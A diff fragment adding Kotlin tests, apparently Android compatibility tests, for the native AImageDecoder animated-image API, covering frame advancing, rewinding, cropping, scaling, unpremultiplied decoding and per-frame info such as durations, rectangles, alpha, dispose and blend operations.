+ decodeAndCropFrames(image, frameName, numFrames, 1.0f, Crop.Top, .934)
+ }
+
+ @Test
+ @Parameters(method = "animationsAndFrames")
+ fun testDecodeFramesAndCropTopScaleDown(image: String, frameName: String, numFrames: Int) {
+ decodeAndCropFrames(image, frameName, numFrames, .5f, Crop.Top, .749)
+ }
+
+ @Test
+ @Parameters(method = "animationsAndFrames")
+ fun testDecodeFramesAndCropTopScaleDown2(image: String, frameName: String, numFrames: Int) {
+ decodeAndCropFrames(image, frameName, numFrames, .75f, Crop.Top, .749)
+ }
+
+ @Test
+ @Parameters(method = "animationsAndFrames")
+ fun testDecodeFramesAndCropTopScaleUp(image: String, frameName: String, numFrames: Int) {
+ decodeAndCropFrames(image, frameName, numFrames, 3.0f, Crop.Top, .908)
+ }
+
+ @Test
+ @Parameters(method = "animationsAndFrames")
+ fun testDecodeFramesAndCropLeft(image: String, frameName: String, numFrames: Int) {
+ decodeAndCropFrames(image, frameName, numFrames, 1.0f, Crop.Left, .924)
+ }
+
+ @Test
+ @Parameters(method = "animationsAndFrames")
+ fun testDecodeFramesAndCropLeftScaleDown(image: String, frameName: String, numFrames: Int) {
+ decodeAndCropFrames(image, frameName, numFrames, .5f, Crop.Left, .596)
+ }
+
+ @Test
+ @Parameters(method = "animationsAndFrames")
+ fun testDecodeFramesAndCropLeftScaleDown2(image: String, frameName: String, numFrames: Int) {
+ decodeAndCropFrames(image, frameName, numFrames, .75f, Crop.Left, .596)
+ }
+
+ @Test
+ @Parameters(method = "animationsAndFrames")
+ fun testDecodeFramesAndCropLeftScaleUp(image: String, frameName: String, numFrames: Int) {
+ decodeAndCropFrames(image, frameName, numFrames, 3.0f, Crop.Left, .894)
+ }
+
+ @Test
+ @Parameters(method = "animationsAndFrames")
+ fun testRewind(image: String, unused: String, numFrames: Int) {
+ val frame0 = with(ImageDecoder.createSource(getAssets(), image)) {
+ ImageDecoder.decodeBitmap(this) {
+ decoder, _, _ ->
+ decoder.allocator = ImageDecoder.ALLOCATOR_SOFTWARE
+ }
+ }
+
+ // Regardless of the current frame, calling rewind and decoding should
+ // look like frame_0.
+ for (framesBeforeReset in 0 until numFrames) {
+ val asset = nOpenAsset(getAssets(), image)
+ val decoder = nCreateFromAsset(asset)
+ val testBm = makeEmptyBitmap(frame0)
+ for (i in 1..framesBeforeReset) {
+ nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+ assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nAdvanceFrame(decoder))
+ }
+
+ assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+ nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+
+ val verifier = GoldenImageVerifier(frame0, MSSIMComparer(1.0))
+ assertTrue(verifier.verify(testBm), "Mismatch in $image after " +
+ "decoding $framesBeforeReset and then rewinding!")
+
+ nDeleteDecoder(decoder)
+ nCloseAsset(asset)
+ }
+ }
+
+ @Test
+ @Parameters(method = "animationsAndFrames")
+ fun testDecodeReturnsFinishedAtEnd(image: String, unused: String, numFrames: Int) {
+ val asset = nOpenAsset(getAssets(), image)
+ val decoder = nCreateFromAsset(asset)
+ for (i in 0 until (numFrames - 1)) {
+ assertEquals(nAdvanceFrame(decoder), ANDROID_IMAGE_DECODER_SUCCESS)
+ }
+
+ assertEquals(nAdvanceFrame(decoder), ANDROID_IMAGE_DECODER_FINISHED)
+
+ // Create a Bitmap to decode into and verify that no decoding occurred.
+ val width = nGetWidth(decoder)
+ val height = nGetHeight(decoder)
+ val bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888, true)
+ nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_FINISHED)
+
+ nDeleteDecoder(decoder)
+ nCloseAsset(asset)
+
+ // Every pixel should be transparent black, as no decoding happened.
+ assertTrue(ColorVerifier(0, 0).verify(bitmap))
+ bitmap.recycle()
+ }
+
+ @Test
+ @Parameters(method = "animationsAndFrames")
+ fun testAdvanceReturnsFinishedAtEnd(image: String, unused: String, numFrames: Int) {
+ val asset = nOpenAsset(getAssets(), image)
+ val decoder = nCreateFromAsset(asset)
+ for (i in 0 until (numFrames - 1)) {
+ assertEquals(nAdvanceFrame(decoder), ANDROID_IMAGE_DECODER_SUCCESS)
+ }
+
+ for (i in 0..1000) {
+ assertEquals(nAdvanceFrame(decoder), ANDROID_IMAGE_DECODER_FINISHED)
+ }
+
+ nDeleteDecoder(decoder)
+ nCloseAsset(asset)
+ }
+
+ fun nonAnimatedAssets() = arrayOf(
+ "blue-16bit-prophoto.png", "green-p3.png", "linear-rgba16f.png", "orange-prophotorgb.png",
+ "animated_001.gif", "animated_002.gif", "sunset1.jpg"
+ )
+
+ @Test
+ @Parameters(method = "nonAnimatedAssets")
+ fun testAdvanceFrameFailsNonAnimated(image: String) {
+ val asset = nOpenAsset(getAssets(), image)
+ val decoder = nCreateFromAsset(asset)
+ assertEquals(ANDROID_IMAGE_DECODER_BAD_PARAMETER, nAdvanceFrame(decoder))
+ nDeleteDecoder(decoder)
+ nCloseAsset(asset)
+ }
+
+ @Test
+ @Parameters(method = "nonAnimatedAssets")
+ fun testRewindFailsNonAnimated(image: String) {
+ val asset = nOpenAsset(getAssets(), image)
+ val decoder = nCreateFromAsset(asset)
+ assertEquals(ANDROID_IMAGE_DECODER_BAD_PARAMETER, nRewind(decoder))
+ nDeleteDecoder(decoder)
+ nCloseAsset(asset)
+ }
+
+ fun imagesAndSetters(): ArrayList<Any> {
+ val setters = arrayOf<(Long) -> Int>(
+ { decoder -> nSetUnpremultipliedRequired(decoder, true) },
+ { decoder ->
+ val rect = Rect(0, 0, nGetWidth(decoder) / 2, nGetHeight(decoder) / 2)
+ setCrop(decoder, rect)
+ },
+ { decoder ->
+ val ANDROID_BITMAP_FORMAT_RGBA_F16 = 9
+ nSetAndroidBitmapFormat(decoder, ANDROID_BITMAP_FORMAT_RGBA_F16)
+ },
+ { decoder ->
+ nSetTargetSize(decoder, nGetWidth(decoder) / 2, nGetHeight(decoder) / 2)
+ },
+ { decoder ->
+ val ADATASPACE_DISPLAY_P3 = 143261696
+ nSetDataSpace(decoder, ADATASPACE_DISPLAY_P3)
+ }
+ )
+ val list = ArrayList<Any>()
+ for (animations in animationsAndFrames()) {
+ for (setter in setters) {
+ list.add(arrayOf(animations[0], animations[2], setter))
+ }
+ }
+ return list
+ }
+
+ @Test
+ @Parameters(method = "imagesAndSetters")
+ fun testSettersFailOnLatterFrames(image: String, numFrames: Int, setter: (Long) -> Int) {
+ // Verify that the setter succeeds on the first frame.
+ with(nOpenAsset(getAssets(), image)) {
+ val decoder = nCreateFromAsset(this)
+ assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, setter(decoder))
+ nDeleteDecoder(decoder)
+ nCloseAsset(this)
+ }
+
+ for (framesBeforeSet in 1 until numFrames) {
+ val asset = nOpenAsset(getAssets(), image)
+ val decoder = nCreateFromAsset(asset)
+ for (i in 1..framesBeforeSet) {
+ assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nAdvanceFrame(decoder))
+ }
+
+ // Not on the first frame, so the setter fails.
+ assertEquals(ANDROID_IMAGE_DECODER_INVALID_STATE, setter(decoder))
+
+ // Rewind to the beginning. Now the setter can succeed.
+ assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+ assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, setter(decoder))
+
+ nDeleteDecoder(decoder)
+ nCloseAsset(asset)
+ }
+ }
+
+ fun unpremulTestFiles() = arrayOf(
+ "alphabetAnim.gif", "animated_webp.webp", "stoplight.webp"
+ )
+
+ @Test
+ @Parameters(method = "unpremulTestFiles")
+ fun testUnpremul(image: String) {
+ val expectedBm = with(ImageDecoder.createSource(getAssets(), image)) {
+ ImageDecoder.decodeBitmap(this) {
+ decoder, _, _ ->
+ decoder.allocator = ImageDecoder.ALLOCATOR_SOFTWARE
+ decoder.setUnpremultipliedRequired(true)
+ }
+ }
+
+ val testBm = makeEmptyBitmap(expectedBm)
+
+ val asset = nOpenAsset(getAssets(), image)
+ val decoder = nCreateFromAsset(asset)
+ assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nSetUnpremultipliedRequired(decoder, true))
+ nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+
+ val verifier = GoldenImageVerifier(expectedBm, MSSIMComparer(1.0))
+ assertTrue(verifier.verify(testBm), "$image did not match in unpremul")
+
+ nDeleteDecoder(decoder)
+ nCloseAsset(asset)
+ }
+
+ fun imagesWithAlpha() = arrayOf(
+ "alphabetAnim.gif",
+ "animated_webp.webp",
+ "animated.gif"
+ )
+
+ @Test
+ @Parameters(method = "imagesWithAlpha")
+ fun testUnpremulThenScaleFailsWithAlpha(image: String) {
+ val asset = nOpenAsset(getAssets(), image)
+ val decoder = nCreateFromAsset(asset)
+ val width = nGetWidth(decoder)
+ val height = nGetHeight(decoder)
+
+ assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nSetUnpremultipliedRequired(decoder, true))
+ assertEquals(ANDROID_IMAGE_DECODER_INVALID_SCALE,
+ nSetTargetSize(decoder, width * 2, height * 2))
+ nDeleteDecoder(decoder)
+ nCloseAsset(asset)
+ }
+
+ @Test
+ @Parameters(method = "imagesWithAlpha")
+ fun testScaleThenUnpremulFailsWithAlpha(image: String) {
+ val asset = nOpenAsset(getAssets(), image)
+ val decoder = nCreateFromAsset(asset)
+ val width = nGetWidth(decoder)
+ val height = nGetHeight(decoder)
+
+ assertEquals(ANDROID_IMAGE_DECODER_SUCCESS,
+ nSetTargetSize(decoder, width * 2, height * 2))
+ assertEquals(ANDROID_IMAGE_DECODER_INVALID_CONVERSION,
+ nSetUnpremultipliedRequired(decoder, true))
+ nDeleteDecoder(decoder)
+ nCloseAsset(asset)
+ }
+
+ fun opaquePlusScale(): ArrayList<Any> {
+ val opaqueImages = arrayOf("sunset1.jpg", "blendBG.webp", "stoplight.webp")
+ val scales = arrayOf(.5f, .75f, 2.0f)
+ val list = ArrayList<Any>()
+ for (image in opaqueImages) {
+ for (scale in scales) {
+ list.add(arrayOf(image, scale))
+ }
+ }
+ return list
+ }
+
+ @Test
+ @Parameters(method = "opaquePlusScale")
+ fun testUnpremulPlusScaleOpaque(image: String, scale: Float) {
+ val expectedBm = with(ImageDecoder.createSource(getAssets(), image)) {
+ ImageDecoder.decodeBitmap(this) {
+ decoder, info, _ ->
+ decoder.isUnpremultipliedRequired = true
+ decoder.allocator = ImageDecoder.ALLOCATOR_SOFTWARE
+ val width = (info.size.width * scale).toInt()
+ val height = (info.size.height * scale).toInt()
+ decoder.setTargetSize(width, height)
+ }
+ }
+ val verifier = GoldenImageVerifier(expectedBm, MSSIMComparer(1.0))
+
+ // Flipping the order of setting unpremul and scaling results in taking
+ // a different code path. Ensure both succeed.
+ val ops = listOf(
+ { decoder: Long -> nSetUnpremultipliedRequired(decoder, true) },
+ { decoder: Long -> nSetTargetSize(decoder, expectedBm.width, expectedBm.height) }
+ )
+
+ for (order in setOf(ops, ops.asReversed())) {
+ val testBm = makeEmptyBitmap(expectedBm)
+ val asset = nOpenAsset(getAssets(), image)
+ val decoder = nCreateFromAsset(asset)
+ for (op in order) {
+ assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, op(decoder))
+ }
+ nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+ assertTrue(verifier.verify(testBm))
+
+ nDeleteDecoder(decoder)
+ nCloseAsset(asset)
+ testBm.recycle()
+ }
+ expectedBm.recycle()
+ }
+
+ @Test
+ fun testUnpremulPlusScaleWithFrameWithAlpha() {
+ // The first frame of this image is opaque, so unpremul + scale succeeds.
+ // But frame 3 has alpha, so decoding it with unpremul + scale fails.
+ val image = "blendBG.webp"
+ val scale = 2.0f
+ val asset = nOpenAsset(getAssets(), image)
+ val decoder = nCreateFromAsset(asset)
+ val width = (nGetWidth(decoder) * scale).toInt()
+ val height = (nGetHeight(decoder) * scale).toInt()
+
+ assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nSetUnpremultipliedRequired(decoder, true))
+ assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nSetTargetSize(decoder, width, height))
+
+ val testBm = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888, true)
+ for (i in 0 until 3) {
+ nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+ assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nAdvanceFrame(decoder))
+ }
+ nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_INVALID_SCALE)
+
+ nDeleteDecoder(decoder)
+ nCloseAsset(asset)
+ }
+
+ @Test
+ @Parameters(method = "nonAnimatedAssets")
+ fun testGetFrameInfoSucceedsNonAnimated(image: String) {
+ val asset = nOpenAsset(getAssets(), image)
+ val decoder = nCreateFromAsset(asset)
+ val frameInfo = nCreateFrameInfo()
+ assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nGetFrameInfo(decoder, frameInfo))
+
+ if (image.startsWith("animated")) {
+ // Although these images have only one frame, they still contain encoded frame info.
+ val ANDROID_IMAGE_DECODER_INFINITE = Integer.MAX_VALUE
+ assertEquals(ANDROID_IMAGE_DECODER_INFINITE, nGetRepeatCount(decoder))
+ assertEquals(250_000_000L, nGetDuration(frameInfo))
+ assertEquals(ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND, nGetDisposeOp(frameInfo))
+ } else {
+ // Since these are not animated and have no encoded frame info, they should use
+ // defaults.
+ assertEquals(0, nGetRepeatCount(decoder))
+ assertEquals(0L, nGetDuration(frameInfo))
+ assertEquals(ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE, nGetDisposeOp(frameInfo))
+ }
+
+ nTestGetFrameRect(frameInfo, 0, 0, nGetWidth(decoder), nGetHeight(decoder))
+ if (image.endsWith("gif")) {
+ // GIFs do not support SRC, so they always report SRC_OVER.
+ assertEquals(ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER, nGetBlendOp(frameInfo))
+ } else {
+ assertEquals(ANDROID_IMAGE_DECODER_BLEND_OP_SRC, nGetBlendOp(frameInfo))
+ }
+ assertEquals(nGetAlpha(decoder), nGetFrameAlpha(frameInfo))
+
+ nDeleteFrameInfo(frameInfo)
+ nDeleteDecoder(decoder)
+ nCloseAsset(asset)
+ }
+
+ @Test
+ fun testNullFrameInfo() = nTestNullFrameInfo(getAssets(), "animated.gif")
+
+ @Test
+ @Parameters(method = "animationsAndFrames")
+ fun testGetFrameInfo(image: String, frameName: String, numFrames: Int) {
+ val asset = nOpenAsset(getAssets(), image)
+ val decoder = nCreateFromAsset(asset)
+ val frameInfo = nCreateFrameInfo()
+ for (i in 0 until numFrames) {
+ assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nGetFrameInfo(decoder, frameInfo))
+ val result = nAdvanceFrame(decoder)
+ val expectedResult = if (i == numFrames - 1) ANDROID_IMAGE_DECODER_FINISHED
+ else ANDROID_IMAGE_DECODER_SUCCESS
+ assertEquals(expectedResult, result)
+ }
+
+ assertEquals(ANDROID_IMAGE_DECODER_FINISHED, nGetFrameInfo(decoder, frameInfo))
+
+ nDeleteFrameInfo(frameInfo)
+ nDeleteDecoder(decoder)
+ nCloseAsset(asset)
+ }
+
+ fun animationsAndDurations() = arrayOf(
+ arrayOf<Any>("animated.gif", LongArray(4) { 250_000_000 }),
+ arrayOf<Any>("animated_webp.webp", LongArray(4) { 250_000_000 }),
+ arrayOf<Any>("required_gif.gif", LongArray(7) { 100_000_000 }),
+ arrayOf<Any>("required_webp.webp", LongArray(7) { 100_000_000 }),
+ arrayOf<Any>("alphabetAnim.gif", LongArray(13) { 100_000_000 }),
+ arrayOf<Any>("blendBG.webp", longArrayOf(525_000_000, 500_000_000,
+ 525_000_000, 437_000_000, 609_000_000, 729_000_000, 444_000_000)),
+ arrayOf<Any>("stoplight.webp", longArrayOf(1_000_000_000, 500_000_000,
+ 1_000_000_000))
+ )
+
+ @Test
+ @Parameters(method = "animationsAndDurations")
+ fun testDurations(image: String, durations: LongArray) = testFrameInfo(image) {
+ frameInfo, i ->
+ assertEquals(durations[i], nGetDuration(frameInfo))
+ }
+
+ /**
+ * Iterate through all frames and call a lambda that tests an individual frame's info.
+ *
+ * @param image Name of the image asset to test
+ * @param test Lambda with two parameters: A pointer to the native decoder, and the
+ * current frame number.
+ */
+ private fun testFrameInfo(image: String, test: (Long, Int) -> Unit) {
+ val asset = nOpenAsset(getAssets(), image)
+ val decoder = nCreateFromAsset(asset)
+ val frameInfo = nCreateFrameInfo()
+ var frame = 0
+ do {
+ assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nGetFrameInfo(decoder, frameInfo),
+ "Failed to getFrameInfo for frame $frame of $image!")
+ test(frameInfo, frame)
+ frame++
+ } while (ANDROID_IMAGE_DECODER_SUCCESS == nAdvanceFrame(decoder))
+
+ nDeleteFrameInfo(frameInfo)
+ nDeleteDecoder(decoder)
+ nCloseAsset(asset)
+ }
+
+ fun animationsAndRects() = arrayOf(
+ // Each group of four Ints represents a frame's rectangle
+ arrayOf<Any>("animated.gif", intArrayOf(0, 0, 278, 183,
+ 0, 0, 278, 183,
+ 0, 0, 278, 183,
+ 0, 0, 278, 183)),
+ arrayOf<Any>("animated_webp.webp", intArrayOf(0, 0, 278, 183,
+ 0, 0, 278, 183,
+ 0, 0, 278, 183,
+ 0, 0, 278, 183)),
+ arrayOf<Any>("required_gif.gif", intArrayOf(0, 0, 100, 100,
+ 0, 0, 75, 75,
+ 0, 0, 50, 50,
+ 0, 0, 60, 60,
+ 0, 0, 100, 100,
+ 0, 0, 50, 50,
+ 0, 0, 75, 75)),
+ arrayOf<Any>("required_webp.webp", intArrayOf(0, 0, 100, 100,
+ 0, 0, 75, 75,
+ 0, 0, 50, 50,
+ 0, 0, 60, 60,
+ 0, 0, 100, 100,
+ 0, 0, 50, 50,
+ 0, 0, 75, 75)),
+ arrayOf<Any>("alphabetAnim.gif", intArrayOf(25, 25, 75, 75,
+ 25, 25, 75, 75,
+ 25, 25, 75, 75,
+ 37, 37, 62, 62,
+ 37, 37, 62, 62,
+ 25, 25, 75, 75,
+ 0, 0, 50, 50,
+ 0, 0, 100, 100,
+ 25, 25, 75, 75,
+ 25, 25, 75, 75,
+ 0, 0, 100, 100,
+ 25, 25, 75, 75,
+ 37, 37, 62, 62)),
+
+ arrayOf<Any>("blendBG.webp", intArrayOf(0, 0, 200, 200,
+ 0, 0, 200, 200,
+ 0, 0, 200, 200,
+ 0, 0, 200, 200,
+ 0, 0, 200, 200,
+ 100, 100, 200, 200,
+ 100, 100, 200, 200)),
+ arrayOf<Any>("stoplight.webp", intArrayOf(0, 0, 145, 55,
+ 0, 0, 145, 55,
+ 0, 0, 145, 55))
+ )
+
+ @Test
+ @Parameters(method = "animationsAndRects")
+ fun testFrameRects(image: String, rects: IntArray) = testFrameInfo(image) {
+ frameInfo, i ->
+ val left = rects[i * 4]
+ val top = rects[i * 4 + 1]
+ val right = rects[i * 4 + 2]
+ val bottom = rects[i * 4 + 3]
+ try {
+ nTestGetFrameRect(frameInfo, left, top, right, bottom)
+ } catch (t: Throwable) {
+ throw AssertionError("$image, frame $i: ${t.message}", t)
+ }
+ }
+
+ fun animationsAndAlphas() = arrayOf(
+ arrayOf<Any>("animated.gif", BooleanArray(4) { true }),
+ arrayOf<Any>("animated_webp.webp", BooleanArray(4) { true }),
+ arrayOf<Any>("required_gif.gif", booleanArrayOf(false, true, true, true,
+ true, true, true, true)),
+ arrayOf<Any>("required_webp.webp", BooleanArray(7) { false }),
+ arrayOf<Any>("alphabetAnim.gif", booleanArrayOf(true, false, true, false,
+ true, true, true, true, true, true, true, true, true)),
+ arrayOf<Any>("blendBG.webp", booleanArrayOf(false, true, false, true,
+ false, true, true)),
+ arrayOf<Any>("stoplight.webp", BooleanArray(3) { false })
+ )
+
+ @Test
+ @Parameters(method = "animationsAndAlphas")
+ fun testAlphas(image: String, alphas: BooleanArray) = testFrameInfo(image) {
+ frameInfo, i ->
+ assertEquals(alphas[i], nGetFrameAlpha(frameInfo), "Mismatch in alpha for $image frame $i "
+ + "expected ${alphas[i]}")
+ }
+
+ private val ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE = 1
+ private val ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND = 2
+ private val ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS = 3
+
+ fun animationsAndDisposeOps() = arrayOf(
+ arrayOf<Any>("animated.gif", IntArray(4) { ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND }),
+ arrayOf<Any>("animated_webp.webp", IntArray(4) { ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE }),
+ arrayOf<Any>("required_gif.gif", intArrayOf(ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+ ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+ ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+ ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND,
+ ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE)),
+ arrayOf<Any>("required_webp.webp", intArrayOf(ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+ ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+ ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+ ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND,
+ ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE)),
+ arrayOf<Any>("alphabetAnim.gif", intArrayOf(ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+ ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS,
+ ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS,
+ ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS,
+ ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS,
+ ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+ ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND,
+ ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+ ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE, ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND,
+ ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE)),
+ arrayOf<Any>("blendBG.webp", IntArray(7) { ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE }),
+ arrayOf<Any>("stoplight.webp", IntArray(4) { ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE })
+ )
+
+ @Test
+ @Parameters(method = "animationsAndDisposeOps")
+ fun testDisposeOps(image: String, disposeOps: IntArray) = testFrameInfo(image) {
+ frameInfo, i ->
+ assertEquals(disposeOps[i], nGetDisposeOp(frameInfo))
+ }
+
+ private val ANDROID_IMAGE_DECODER_BLEND_OP_SRC = 1
+ private val ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER = 2
+
+ fun animationsAndBlendOps() = arrayOf(
+ arrayOf<Any>("animated.gif", IntArray(4) { ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER }),
+ arrayOf<Any>("animated_webp.webp", IntArray(4) { ANDROID_IMAGE_DECODER_BLEND_OP_SRC }),
+ arrayOf<Any>("required_gif.gif", IntArray(7) { ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER }),
+ arrayOf<Any>("required_webp.webp", intArrayOf(ANDROID_IMAGE_DECODER_BLEND_OP_SRC,
+ ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER, ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER,
+ ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER, ANDROID_IMAGE_DECODER_BLEND_OP_SRC,
+ ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER, ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER)),
+ arrayOf<Any>("alphabetAnim.gif", IntArray(13) { ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER }),
+ arrayOf<Any>("blendBG.webp", intArrayOf(ANDROID_IMAGE_DECODER_BLEND_OP_SRC,
+ ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER, ANDROID_IMAGE_DECODER_BLEND_OP_SRC,
+ ANDROID_IMAGE_DECODER_BLEND_OP_SRC, ANDROID_IMAGE_DECODER_BLEND_OP_SRC,
+ ANDROID_IMAGE_DECODER_BLEND_OP_SRC, ANDROID_IMAGE_DECODER_BLEND_OP_SRC)),
+ arrayOf<Any>("stoplight.webp", IntArray(4) { ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER })
+ )
+
+ @Test
+ @Parameters(method = "animationsAndBlendOps")
+ fun testBlendOps(image: String, blendOps: IntArray) = testFrameInfo(image) {
+ frameInfo, i ->
+ assertEquals(blendOps[i], nGetBlendOp(frameInfo), "Mismatch in blend op for $image "
+ + "frame $i, expected: ${blendOps[i]}")
+ }
+
+ @Test
+ fun testHandleDisposePrevious() {
+ // The first frame is ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE, followed by a single
+ // ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS frame. The third frame looks different
+ // depending on whether that is respected.
+ val image = "RestorePrevious.gif"
+ val disposeOps = intArrayOf(ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+ ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS,
+ ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE)
+ val asset = nOpenAsset(getAssets(), image)
+ val decoder = nCreateFromAsset(asset)
+
+ val width = nGetWidth(decoder)
+ val height = nGetHeight(decoder)
+ val bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888, true)
+
+ val verifiers = arrayOf<BitmapVerifier>(
+ ColorVerifier(Color.BLACK, 0),
+ RectVerifier(Color.BLACK, Color.RED, Rect(0, 0, 100, 80), 0),
+ RectVerifier(Color.BLACK, Color.GREEN, Rect(0, 0, 100, 50), 0))
+
+ with(nCreateFrameInfo()) {
+ for (i in 0..2) {
+ nGetFrameInfo(decoder, this)
+ assertEquals(disposeOps[i], nGetDisposeOp(this))
+
+ nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+ assertTrue(verifiers[i].verify(bitmap))
+ nAdvanceFrame(decoder)
+ }
+ nDeleteFrameInfo(this)
+ }
+
+ // Now redecode without letting AImageDecoder handle
+ // ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS.
+ bitmap.eraseColor(Color.TRANSPARENT)
+ assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+ nSetHandleDisposePrevious(decoder, false)
+
+ // If the client does not handle ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS
+ // the final frame does not match.
+ for (i in 0..2) {
+ nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+ assertEquals(i != 2, verifiers[i].verify(bitmap))
+
+ if (i == 2) {
+ // Not only can we verify that frame 2 does not look as expected, but it
+ // should look as if we decoded frame 1 and did not revert it.
+ val verifier = RegionVerifier()
+ verifier.addVerifier(Rect(0, 0, 100, 50), ColorVerifier(Color.GREEN, 0))
+ verifier.addVerifier(Rect(0, 50, 100, 80), ColorVerifier(Color.RED, 0))
+ verifier.addVerifier(Rect(0, 80, 100, 100), ColorVerifier(Color.BLACK, 0))
+ assertTrue(verifier.verify(bitmap))
+ }
+ nAdvanceFrame(decoder)
+ }
+
+ // Now redecode and manually store/restore the first frame.
+ bitmap.eraseColor(Color.TRANSPARENT)
+ assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+ nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+ val storedFrame = bitmap
+ for (i in 1..2) {
+ assertEquals(nAdvanceFrame(decoder), ANDROID_IMAGE_DECODER_SUCCESS)
+ val frame = storedFrame.copy(storedFrame.config, true)
+ nDecode(decoder, frame, ANDROID_IMAGE_DECODER_SUCCESS)
+ assertTrue(verifiers[i].verify(frame))
+ frame.recycle()
+ }
+
+ // This setting can be switched back, so that AImageDecoder handles it.
+ bitmap.eraseColor(Color.TRANSPARENT)
+ assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+ nSetHandleDisposePrevious(decoder, true)
+
+ for (i in 0..2) {
+ nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+ assertTrue(verifiers[i].verify(bitmap))
+ nAdvanceFrame(decoder)
+ }
+
+ bitmap.recycle()
+ nDeleteDecoder(decoder)
+ nCloseAsset(asset)
+ }
+
+ private external fun nTestNullDecoder()
+ private external fun nTestToString()
+ private external fun nOpenAsset(assets: AssetManager, name: String): Long
+ private external fun nCloseAsset(asset: Long)
+ private external fun nCreateFromAsset(asset: Long): Long
+ private external fun nGetWidth(decoder: Long): Int
+ private external fun nGetHeight(decoder: Long): Int
+ private external fun nDeleteDecoder(decoder: Long)
+ private external fun nSetTargetSize(decoder: Long, width: Int, height: Int): Int
+ private external fun nSetCrop(decoder: Long, left: Int, top: Int, right: Int, bottom: Int): Int
+ private external fun nDecode(decoder: Long, dst: Bitmap, expectedResult: Int)
